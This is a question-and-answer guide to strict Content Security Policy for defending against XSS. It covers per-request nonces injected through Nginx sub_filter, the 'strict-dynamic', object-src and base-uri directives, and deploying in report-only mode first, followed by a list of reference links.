Why are nonces better than domain allowlists for CSP?
Google research bypassed 94.72% of all distinct CSP policies, and 75.81% of them rely on script allowlists an attacker can bypass, because trusted CDNs often host JSONP endpoints, open redirects, or script gadgets that attackers abuse. Nonces are cryptographically random per-request tokens that an attacker cannot guess, so they provide real XSS protection regardless of which libraries are loaded.
How can static sites use nonces if HTML is built ahead of time?
Put a placeholder like `CSP_NONCE_NGINX` in your templates at build time, then have Nginx generate a unique nonce per request with `set $cspNonce $request_id;` and replace the placeholder using `sub_filter`. The same `$cspNonce` value goes into the CSP header, so the nonce in the HTML and the header always match.
What does 'strict-dynamic' do in a CSP?
`'strict-dynamic'` lets scripts loaded by an already-trusted script also execute without needing their own nonce, so trust propagates down the chain. When it is present, allowlist sources like `'self'` or specific domains are ignored for script loading—only nonces and hashes grant initial trust.
Which directives are required for a strict CSP?
A strict CSP uses nonces or hashes instead of domain allowlists, includes `'strict-dynamic'` for dynamic script loading, sets `object-src 'none'` to block plugins, and sets `base-uri 'none'` to prevent base tag injection.
How should I deploy CSP safely without breaking my site?
Never deploy strict CSP directly to production. First run it in `Content-Security-Policy-Report-Only` mode for one to two weeks to log violations without blocking, fix issues like inline event handlers and `eval()` calls, then switch to enforcement gradually.
Further Reading & Resources
- OWASP Top 10 2021 OWASP
- Google's security research Google Research
- Mozilla Security Blog blog.mozilla.org
- W3C CSP 1.0 Spec W3C
- W3C CSP Level 2 W3C
- MDN strict-dynamic MDN Web Docs
- W3C CSP Level 3 W3C
- web.dev Trusted Types web.dev
- Hash Calculator jmrp.io
- Google's research web.dev
- CSP Policy Builder jmrp.io
- Report URI report-uri.com
- Mozilla Observatory MDN Web Docs